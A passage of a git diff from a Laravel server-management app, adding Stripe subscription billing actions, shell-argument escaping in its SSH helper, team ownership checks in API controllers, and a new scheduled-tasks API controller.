'stripe_cancel_at_period_end' => false, + ]); + + \Log::info("Subscription {$subscription->stripe_subscription_id} resumed for team {$team->name}"); + + return ['success' => true, 'error' => null]; + } catch (\Stripe\Exception\InvalidRequestException $e) { + \Log::error("Stripe resume subscription error for team {$team->id}: ".$e->getMessage()); + + return ['success' => false, 'error' => 'Stripe error: '.$e->getMessage()]; + } catch (\Exception $e) { + \Log::error("Resume subscription error for team {$team->id}: ".$e->getMessage()); + + return ['success' => false, 'error' => 'An unexpected error occurred. Please contact support.']; + } + } +} diff --git a/app/Actions/Stripe/UpdateSubscriptionQuantity.php b/app/Actions/Stripe/UpdateSubscriptionQuantity.php new file mode 100644 index 000000000..c181e988d --- /dev/null +++ b/app/Actions/Stripe/UpdateSubscriptionQuantity.php @@ -0,0 +1,197 @@ +stripe = $stripe ?? new StripeClient(config('subscription.stripe_api_key')); + } + + /** + * Fetch a full price preview for a quantity change from Stripe. + * Returns both the prorated amount due now and the recurring cost for the next billing cycle. + * + * @return array{success: bool, error: string|null, preview: array{due_now: int, recurring_subtotal: int, recurring_tax: int, recurring_total: int, unit_price: int, tax_description: string|null, quantity: int, currency: string}|null} + */ + public function fetchPricePreview(Team $team, int $quantity): array + { + $subscription = $team->subscription; + + if (! $subscription?->stripe_subscription_id || ! $subscription->stripe_invoice_paid) { + return ['success' => false, 'error' => 'No active subscription found.', 'preview' => null]; + } + + try { + $stripeSubscription = $this->stripe->subscriptions->retrieve($subscription->stripe_subscription_id); + $item = $stripeSubscription->items->data[0] ?? null; + + if (! $item) { + return ['success' => false, 'error' => 'Could not retrieve subscription details.', 'preview' => null]; + } + + $currency = strtoupper($item->price->currency ?? 'usd'); + + // Upcoming invoice gives us the prorated amount due now + $upcomingInvoice = $this->stripe->invoices->upcoming([ + 'customer' => $subscription->stripe_customer_id, + 'subscription' => $subscription->stripe_subscription_id, + 'subscription_items' => [ + ['id' => $item->id, 'quantity' => $quantity], + ], + 'subscription_proration_behavior' => 'create_prorations', + ]); + + // Extract tax percentage — try total_tax_amounts first, fall back to invoice tax/subtotal + $taxPercentage = 0.0; + $taxDescription = null; + if (! empty($upcomingInvoice->total_tax_amounts)) { + $taxAmount = $upcomingInvoice->total_tax_amounts[0] ?? null; + if ($taxAmount?->tax_rate) { + $taxRate = $this->stripe->taxRates->retrieve($taxAmount->tax_rate); + $taxPercentage = (float) ($taxRate->percentage ?? 0); + $taxDescription = $taxRate->display_name.' ('.$taxRate->jurisdiction.') '.$taxRate->percentage.'%'; + } + } + // Fallback tax percentage from invoice totals - use tax_rate details when available for accuracy + if ($taxPercentage === 0.0 && ($upcomingInvoice->tax ?? 0) > 0 && ($upcomingInvoice->subtotal ?? 0) > 0) { + $taxPercentage = round(($upcomingInvoice->tax / $upcomingInvoice->subtotal) * 100, 2); + } + + // Recurring cost for next cycle — read from non-proration invoice lines + $recurringSubtotal = 0; + foreach ($upcomingInvoice->lines->data as $line) { + if (! $line->proration) { + $recurringSubtotal += $line->amount; + } + } + $unitPrice = $quantity > 0 ? (int) round($recurringSubtotal / $quantity) : 0; + + $recurringTax = $taxPercentage > 0 + ? (int) round($recurringSubtotal * $taxPercentage / 100) + : 0; + $recurringTotal = $recurringSubtotal + $recurringTax; + + // Due now = amount_due (accounts for customer balance/credits) minus recurring + $amountDue = $upcomingInvoice->amount_due ?? $upcomingInvoice->total ?? 0; + $dueNow = $amountDue - $recurringTotal; + + return [ + 'success' => true, + 'error' => null, + 'preview' => [ + 'due_now' => $dueNow, + 'recurring_subtotal' => $recurringSubtotal, + 'recurring_tax' => $recurringTax, + 'recurring_total' => $recurringTotal, + 'unit_price' => $unitPrice, + 'tax_description' => $taxDescription, + 'quantity' => $quantity, + 'currency' => $currency, + ], + ]; + } catch (\Exception $e) { + \Log::warning("Stripe fetch price preview error for team {$team->id}: ".$e->getMessage()); + + return ['success' => false, 'error' => 'Could not load price preview.', 'preview' => null]; + } + } + + /** + * Update the subscription quantity (server limit) for a team. + * + * @return array{success: bool, error: string|null} + */ + public function execute(Team $team, int $quantity): array + { + if ($quantity < self::MIN_SERVER_LIMIT) { + return ['success' => false, 'error' => 'Minimum server limit is '.self::MIN_SERVER_LIMIT.'.']; + } + + $subscription = $team->subscription; + + if (! $subscription?->stripe_subscription_id) { + return ['success' => false, 'error' => 'No active subscription found.']; + } + + if (! $subscription->stripe_invoice_paid) { + return ['success' => false, 'error' => 'Subscription is not active.']; + } + + try { + $stripeSubscription = $this->stripe->subscriptions->retrieve($subscription->stripe_subscription_id); + $item = $stripeSubscription->items->data[0] ?? null; + + if (! $item?->id) { + return ['success' => false, 'error' => 'Could not find subscription item.']; + } + + $previousQuantity = $item->quantity ?? $team->custom_server_limit; + + $updatedSubscription = $this->stripe->subscriptions->update($subscription->stripe_subscription_id, [ + 'items' => [ + ['id' => $item->id, 'quantity' => $quantity], + ], + 'proration_behavior' => 'always_invoice', + 'expand' => ['latest_invoice'], + ]); + + // Check if the proration invoice was paid + $latestInvoice = $updatedSubscription->latest_invoice; + if ($latestInvoice && $latestInvoice->status !== 'paid') { + \Log::warning("Subscription {$subscription->stripe_subscription_id} quantity updated but invoice not paid (status: {$latestInvoice->status}) for team {$team->name}. Reverting to {$previousQuantity}."); + + // Revert subscription quantity on Stripe + $this->stripe->subscriptions->update($subscription->stripe_subscription_id, [ + 'items' => [ + ['id' => $item->id, 'quantity' => $previousQuantity], + ], + 'proration_behavior' => 'none', + ]); + + // Void the unpaid invoice + if ($latestInvoice->id) { + $this->stripe->invoices->voidInvoice($latestInvoice->id); + } + + return ['success' => false, 'error' => 'Payment failed. Your server limit was not changed. Please check your payment method and try again.']; + } + + $team->update([ + 'custom_server_limit' => $quantity, + ]); + + ServerLimitCheckJob::dispatch($team); + + \Log::info("Subscription {$subscription->stripe_subscription_id} quantity updated to {$quantity} for team {$team->name}"); + + return ['success' => true, 'error' => null]; + } catch (\Stripe\Exception\InvalidRequestException $e) { + \Log::error("Stripe update quantity error for team {$team->id}: ".$e->getMessage()); + + return ['success' => false, 'error' => 'Stripe error: '.$e->getMessage()]; + } catch (\Exception $e) { + \Log::error("Update subscription quantity error for team {$team->id}: ".$e->getMessage()); + + return ['success' => false, 'error' => 'An unexpected error occurred. Please contact support.']; + } + } + + private function formatAmount(int $cents, string $currency): string + { + return strtoupper($currency) === 'USD' + ? '$'.number_format($cents / 100, 2) + : number_format($cents / 100, 2).' '.$currency; + } +} diff --git a/app/Console/Commands/CleanupUnreachableServers.php b/app/Console/Commands/CleanupUnreachableServers.php index def01b265..09563a2c3 100644 --- a/app/Console/Commands/CleanupUnreachableServers.php +++ b/app/Console/Commands/CleanupUnreachableServers.php @@ -14,7 +14,7 @@ class CleanupUnreachableServers extends Command public function handle() { echo "Running unreachable server cleanup...\n"; - $servers = Server::where('unreachable_count', 3)->where('unreachable_notification_sent', true)->where('updated_at', '<', now()->subDays(7))->get(); + $servers = Server::where('unreachable_count', '>=', 3)->where('unreachable_notification_sent', true)->where('updated_at', '<', now()->subDays(7))->get(); if ($servers->count() > 0) { foreach ($servers as $server) { echo "Cleanup unreachable server ($server->id) with name $server->name"; diff --git a/app/Console/Commands/Cloud/SyncStripeSubscriptions.php b/app/Console/Commands/Cloud/SyncStripeSubscriptions.php index e64f86926..46f6b4edd 100644 --- a/app/Console/Commands/Cloud/SyncStripeSubscriptions.php +++ b/app/Console/Commands/Cloud/SyncStripeSubscriptions.php @@ -36,7 +36,14 @@ public function handle(): int $this->newLine(); $job = new SyncStripeSubscriptionsJob($fix); - $result = $job->handle(); + $fetched = 0; + $result = $job->handle(function (int $count) use (&$fetched): void { + $fetched = $count; + $this->output->write("\r Fetching subscriptions from Stripe... {$fetched}"); + }); + if ($fetched > 0) { + $this->output->write("\r".str_repeat(' ', 60)."\r"); + } if (isset($result['error'])) { $this->error($result['error']); @@ -68,6 +75,19 @@ public function handle(): int $this->info('No discrepancies found. All subscriptions are in sync.'); } + if (count($result['resubscribed']) > 0) { + $this->newLine(); + $this->warn('Resubscribed users (same email, different customer): '.count($result['resubscribed'])); + $this->newLine(); + + foreach ($result['resubscribed'] as $resub) { + $this->line(" - Team ID: {$resub['team_id']} | Email: {$resub['email']}"); + $this->line(" Old: {$resub['old_stripe_subscription_id']} (cus: {$resub['old_stripe_customer_id']})"); + $this->line(" New: {$resub['new_stripe_subscription_id']} (cus: {$resub['new_stripe_customer_id']}) [{$resub['new_status']}]"); + $this->newLine(); + } + } + if (count($result['errors']) > 0) { $this->newLine(); $this->error('Errors encountered: '.count($result['errors'])); diff --git a/app/Console/Kernel.php b/app/Console/Kernel.php index d82d3a1b9..c5e12b7ee 100644 --- a/app/Console/Kernel.php +++ b/app/Console/Kernel.php @@ -40,7 +40,7 @@ protected function schedule(Schedule $schedule): void } // $this->scheduleInstance->job(new CleanupStaleMultiplexedConnections)->hourly(); - $this->scheduleInstance->command('cleanup:redis')->weekly(); + $this->scheduleInstance->command('cleanup:redis --clear-locks')->daily(); if (isDev()) { // Instance Jobs diff --git a/app/Helpers/SshMultiplexingHelper.php b/app/Helpers/SshMultiplexingHelper.php index 723c6d4a5..54d5714a6 100644 --- a/app/Helpers/SshMultiplexingHelper.php +++ b/app/Helpers/SshMultiplexingHelper.php @@ -37,7 +37,7 @@ public static function ensureMultiplexedConnection(Server $server): bool if (data_get($server, 'settings.is_cloudflare_tunnel')) { $checkCommand .= '-o ProxyCommand="cloudflared access ssh --hostname %h" '; } - $checkCommand .= "{$server->user}@{$server->ip}"; + $checkCommand .= self::escapedUserAtHost($server); $process = Process::run($checkCommand); if ($process->exitCode() !== 0) { @@ -80,7 +80,7 @@ public static function establishNewMultiplexedConnection(Server $server): bool $establishCommand .= ' -o ProxyCommand="cloudflared access ssh --hostname %h" '; } $establishCommand .= self::getCommonSshOptions($server, $sshKeyLocation, $connectionTimeout, $serverInterval); - $establishCommand .= "{$server->user}@{$server->ip}"; + $establishCommand .= self::escapedUserAtHost($server); $establishProcess = Process::run($establishCommand); if ($establishProcess->exitCode() !== 0) { return false; @@ -101,7 +101,7 @@ public static function removeMuxFile(Server $server) if (data_get($server, 'settings.is_cloudflare_tunnel')) { $closeCommand .= '-o ProxyCommand="cloudflared access ssh --hostname %h" '; } - $closeCommand .= "{$server->user}@{$server->ip}"; + $closeCommand .= self::escapedUserAtHost($server); Process::run($closeCommand); // Clear connection metadata from cache @@ -141,9 +141,9 @@ public static function generateScpCommand(Server $server, string $source, string $scp_command .= self::getCommonSshOptions($server, $sshKeyLocation, config('constants.ssh.connection_timeout'), config('constants.ssh.server_interval'), isScp: true); if ($server->isIpv6()) { - $scp_command .= "{$source} {$server->user}@[{$server->ip}]:{$dest}"; + $scp_command .= "{$source} ".escapeshellarg($server->user).'@['.escapeshellarg($server->ip)."]:{$dest}"; } else { - $scp_command .= "{$source} {$server->user}@{$server->ip}:{$dest}"; + $scp_command .= "{$source} ".self::escapedUserAtHost($server).":{$dest}"; } return $scp_command; @@ -189,13 +189,18 @@ public static function generateSshCommand(Server $server, string $command, bool $delimiter = base64_encode($delimiter); $command = str_replace($delimiter, '', $command); - $ssh_command .= "{$server->user}@{$server->ip} 'bash -se' << \\$delimiter".PHP_EOL + $ssh_command .= self::escapedUserAtHost($server)." 'bash -se' << \\$delimiter".PHP_EOL .$command.PHP_EOL .$delimiter; return $ssh_command; } + private static function escapedUserAtHost(Server $server): string + { + return escapeshellarg($server->user).'@'.escapeshellarg($server->ip); + } + private static function isMultiplexingEnabled(): bool { return config('constants.ssh.mux_enabled') && ! config('constants.coolify.is_windows_docker_desktop'); @@ -224,9 +229,9 @@ private static function getCommonSshOptions(Server $server, string $sshKeyLocati // Bruh if ($isScp) { - $options .= "-P {$server->port} "; + $options .= '-P '.escapeshellarg((string) $server->port).' '; } else { - $options .= "-p {$server->port} "; + $options .= '-p '.escapeshellarg((string) $server->port).' '; } return $options; @@ -245,7 +250,7 @@ public static function isConnectionHealthy(Server $server): bool if (data_get($server, 'settings.is_cloudflare_tunnel')) { $healthCommand .= '-o ProxyCommand="cloudflared access ssh --hostname %h" '; } - $healthCommand .= "{$server->user}@{$server->ip} 'echo \"health_check_ok\"'"; + $healthCommand .= self::escapedUserAtHost($server)." 'echo \"health_check_ok\"'"; $process = Process::run($healthCommand); $isHealthy = $process->exitCode() === 0 && str_contains($process->output(), 'health_check_ok'); diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 57bcc13f6..4b0cfc6ab 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -1002,7 +1002,7 @@ private function create_application(Request $request, $type) if ($return instanceof \Illuminate\Http\JsonResponse) { return $return; } - $allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled']; + $allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled']; $validator = customApiValidator($request->all(), [ 'name' => 'string|max:255', @@ -1095,13 +1095,23 @@ private function create_application(Request $request, $type) return response()->json(['message' => 'Server has multiple destinations and you do not set destination_uuid.'], 400); } $destination = $destinations->first(); + if ($destinations->count() > 1 && $request->has('destination_uuid')) { + $destination = $destinations->where('uuid', $request->destination_uuid)->first(); + if (! $destination) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => [ + 'destination_uuid' => 'Provided destination_uuid does not belong to the specified server.', + ], + ], 422); + } + } if ($type === 'public') { $validationRules = [ 'git_repository' => ['string', 'required', new ValidGitRepositoryUrl], 'git_branch' => ['string', 'required', new ValidGitBranch], 'build_pack' => ['required', Rule::enum(BuildPackTypes::class)], 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/|required', - 'docker_compose_location' => 'string', 'docker_compose_domains' => 'array|nullable', 'docker_compose_domains.*' => 'array:name,domain', 'docker_compose_domains.*.name' => 'string|required', @@ -1297,7 +1307,6 @@ private function create_application(Request $request, $type) 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/|required', 'github_app_uuid' => 'string|required', 'watch_paths' => 'string|nullable', - 'docker_compose_location' => 'string', 'docker_compose_domains' => 'array|nullable', 'docker_compose_domains.*' => 'array:name,domain', 'docker_compose_domains.*.name' => 'string|required', @@ -1525,7 +1534,6 @@ private function create_application(Request $request, $type) 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/|required', 'private_key_uuid' => 'string|required', 'watch_paths' => 'string|nullable', - 'docker_compose_location' => 'string', 'docker_compose_domains' => 'array|nullable', 'docker_compose_domains.*' => 'array:name,domain', 'docker_compose_domains.*.name' => 'string|required', @@ -2463,14 +2471,13 @@ public function update_by_uuid(Request $request) $this->authorize('update', $application); $server = $application->destination->server; - $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled']; + $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled']; $validationRules = [ 'name' => 'string|max:255', 'description' => 'string|nullable', 'static_image' => 'string', 'watch_paths' => 'string|nullable', - 'docker_compose_location' => 'string', 'docker_compose_domains' => 'array|nullable', 'docker_compose_domains.*' => 'array:name,domain', 'docker_compose_domains.*.name' => 'string|required', @@ -2940,7 +2947,7 @@ public function envs(Request $request) )] public function update_env_by_uuid(Request $request) { - $allowedFields = ['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime']; + $allowedFields = ['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime', 'comment']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -2970,6 +2977,7 @@ public function update_env_by_uuid(Request $request) 'is_shown_once' => 'boolean', 'is_runtime' => 'boolean', 'is_buildtime' => 'boolean', + 'comment' => 'string|nullable|max:256', ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); @@ -3011,6 +3019,9 @@ public function update_env_by_uuid(Request $request) if ($request->has('is_buildtime') && $env->is_buildtime != $request->is_buildtime) { $env->is_buildtime = $request->is_buildtime; } + if ($request->has('comment') && $env->comment != $request->comment) { + $env->comment = $request->comment; + } $env->save(); return response()->json($this->removeSensitiveData($env))->setStatusCode(201); @@ -3041,6 +3052,9 @@ public function update_env_by_uuid(Request $request) if ($request->has('is_buildtime') && $env->is_buildtime != $request->is_buildtime) { $env->is_buildtime = $request->is_buildtime; } + if ($request->has('comment') && $env->comment != $request->comment) { + $env->comment = $request->comment; + } $env->save(); return response()->json($this->removeSensitiveData($env))->setStatusCode(201); @@ -3333,7 +3347,7 @@ public function create_bulk_envs(Request $request) )] public function create_env(Request $request) { - $allowedFields = ['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime']; + $allowedFields = ['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime', 'comment']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -3358,6 +3372,7 @@ public function create_env(Request $request) 'is_shown_once' => 'boolean', 'is_runtime' => 'boolean', 'is_buildtime' => 'boolean', + 'comment' => 'string|nullable|max:256', ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); @@ -3393,6 +3408,7 @@ public function create_env(Request $request) 'is_shown_once' => $request->is_shown_once ?? false, 'is_runtime' => $request->is_runtime ?? true, 'is_buildtime' => $request->is_buildtime ?? true, + 'comment' => $request->comment ?? null, 'resourceable_type' => get_class($application), 'resourceable_id' => $application->id, ]); @@ -3417,6 +3433,7 @@ public function create_env(Request $request) 'is_shown_once' => $request->is_shown_once ?? false, 'is_runtime' => $request->is_runtime ?? true, 'is_buildtime' => $request->is_buildtime ?? true, + 'comment' => $request->comment ?? null, 'resourceable_type' => get_class($application), 'resourceable_id' => $application->id, ]); @@ -3653,6 +3670,15 @@ public function action_deploy(Request $request) type: 'string', ) ), + new OA\Parameter( + name: 'docker_cleanup', + in: 'query', + description: 'Perform docker cleanup (prune networks, volumes, etc.).', + schema: new OA\Schema( + type: 'boolean', + default: true, + ) + ), ], responses: [ new OA\Response( @@ -3701,7 +3727,8 @@ public function action_stop(Request $request) $this->authorize('deploy', $application); - StopApplication::dispatch($application); + $dockerCleanup = $request->boolean('docker_cleanup', true); + StopApplication::dispatch($application, false, $dockerCleanup); return response()->json( [ diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index 15d182db2..f7a62cf90 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -2602,6 +2602,15 @@ public function action_deploy(Request $request) type: 'string', ) ), + new OA\Parameter( + name: 'docker_cleanup', + in: 'query', + description: 'Perform docker cleanup (prune networks, volumes, etc.).', + schema: new OA\Schema( + type: 'boolean', + default: true, + ) + ), ], responses: [ new OA\Response( @@ -2653,7 +2662,9 @@ public function action_stop(Request $request) if (str($database->status)->contains('stopped') || str($database->status)->contains('exited')) { return response()->json(['message' => 'Database is already stopped.'], 400); } - StopDatabase::dispatch($database); + + $dockerCleanup = $request->boolean('docker_cleanup', true); + StopDatabase::dispatch($database, $dockerCleanup); return response()->json( [ diff --git a/app/Http/Controllers/Api/DeployController.php b/app/Http/Controllers/Api/DeployController.php index baff3ec4f..85d532f62 100644 --- a/app/Http/Controllers/Api/DeployController.php +++ b/app/Http/Controllers/Api/DeployController.php @@ -127,6 +127,10 @@ public function deployment_by_uuid(Request $request) if (! $deployment) { return response()->json(['message' => 'Deployment not found.'], 404); } + $application = $deployment->application; + if (! $application || data_get($application->team(), 'id') !== (int) $teamId) { + return response()->json(['message' => 'Deployment not found.'], 404); + } return response()->json($this->removeSensitiveData($deployment)); } diff --git a/app/Http/Controllers/Api/ScheduledTasksController.php b/app/Http/Controllers/Api/ScheduledTasksController.php new file mode 100644 index 000000000..6245dc2ec --- /dev/null +++ b/app/Http/Controllers/Api/ScheduledTasksController.php @@ -0,0 +1,922 @@ +makeHidden([ + 'id', + 'team_id', + 'application_id', + 'service_id', + ]); + + return serializeApiResponse($task); + } + + private function resolveApplication(Request $request, int $teamId): ?Application + { + return Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + } + + private function resolveService(Request $request, int $teamId): ?Service + { + return Service::whereRelation('environment.project.team', 'id', $teamId)->where('uuid', $request->uuid)->first(); + } + + private function listTasks(Application|Service $resource): \Illuminate\Http\JsonResponse + { + $this->authorize('view', $resource); + + $tasks = $resource->scheduled_tasks->map(function ($task) { + return $this->removeSensitiveData($task); + }); + + return response()->json($tasks); + } + + private function createTask(Request $request, Application|Service $resource): \Illuminate\Http\JsonResponse + { + $this->authorize('update', $resource); + + $return = validateIncomingRequest($request); + if ($return instanceof \Illuminate\Http\JsonResponse) { + return $return; + } + + $allowedFields = ['name', 'command', 'frequency', 'container', 'timeout', 'enabled']; + + $validator = customApiValidator($request->all(), [ + 'name' => 'required|string|max:255', + 'command' => 'required|string', + 'frequency' => 'required|string', + 'container' => 'string|nullable', + 'timeout' => 'integer|min:1', + 'enabled' => 'boolean', + ]); + + $extraFields = array_diff(array_keys($request->all()), $allowedFields); + if ($validator->fails() || ! empty($extraFields)) { + $errors = $validator->errors(); + if (! empty($extraFields)) { + foreach ($extraFields as $field) { + $errors->add($field, 'This field is not allowed.'); + } + } + + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $errors, + ], 422); + } + + if (! validate_cron_expression($request->frequency)) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['frequency' => ['Invalid cron expression or frequency format.']], + ], 422); + } + + $teamId = getTeamIdFromToken(); + + $task = new ScheduledTask; + $task->name = $request->name; + $task->command = $request->command; + $task->frequency = $request->frequency; + $task->container = $request->container; + $task->timeout = $request->has('timeout') ? $request->timeout : 300; + $task->enabled = $request->has('enabled') ? $request->enabled : true; + $task->team_id = $teamId; + + if ($resource instanceof Application) { + $task->application_id = $resource->id; + } elseif ($resource instanceof Service) { + $task->service_id = $resource->id; + } + + $task->save(); + + return response()->json($this->removeSensitiveData($task), 201); + } + + private function updateTask(Request $request, Application|Service $resource): \Illuminate\Http\JsonResponse + { + $this->authorize('update', $resource); + + $return = validateIncomingRequest($request); + if ($return instanceof \Illuminate\Http\JsonResponse) { + return $return; + } + + if ($request->all() === []) { + return response()->json(['message' => 'At least one field must be provided.'], 422); + } + + $allowedFields = ['name', 'command', 'frequency', 'container', 'timeout', 'enabled']; + + $validator = customApiValidator($request->all(), [ + 'name' => 'string|max:255', + 'command' => 'string', + 'frequency' => 'string', + 'container' => 'string|nullable', + 'timeout' => 'integer|min:1', + 'enabled' => 'boolean', + ]); + + $extraFields = array_diff(array_keys($request->all()), $allowedFields); + if ($validator->fails() || ! empty($extraFields)) { + $errors = $validator->errors(); + if (! empty($extraFields)) { + foreach ($extraFields as $field) { + $errors->add($field, 'This field is not allowed.'); + } + } + + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $errors, + ], 422); + } + + if ($request->has('frequency') && ! validate_cron_expression($request->frequency)) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['frequency' => ['Invalid cron expression or frequency format.']], + ], 422); + } + + $task = $resource->scheduled_tasks()->where('uuid', $request->task_uuid)->first(); + if (! $task) { + return response()->json(['message' => 'Scheduled task not found.'], 404); + } + + $task->update($request->only($allowedFields)); + + return response()->json($this->removeSensitiveData($task), 200); + } + + private function deleteTask(Request $request, Application|Service $resource): \Illuminate\Http\JsonResponse + { + $this->authorize('update', $resource); + + $deleted = $resource->scheduled_tasks()->where('uuid', $request->task_uuid)->delete(); + if (! $deleted) { + return response()->json(['message' => 'Scheduled task not found.'], 404); + } + + return response()->json(['message' => 'Scheduled task deleted.']); + } + + private function getExecutions(Request $request, Application|Service $resource): \Illuminate\Http\JsonResponse + { + $this->authorize('view', $resource); + + $task = $resource->scheduled_tasks()->where('uuid', $request->task_uuid)->first(); + if (! $task) { + return response()->json(['message' => 'Scheduled task not found.'], 404); + } + + $executions = $task->executions()->get()->map(function ($execution) { + $execution->makeHidden(['id', 'scheduled_task_id']); + + return serializeApiResponse($execution); + }); + + return response()->json($executions); + } + + #[OA\Get( + summary: 'List Tasks', + description: 'List all scheduled tasks for an application.', + path: '/applications/{uuid}/scheduled-tasks', + operationId: 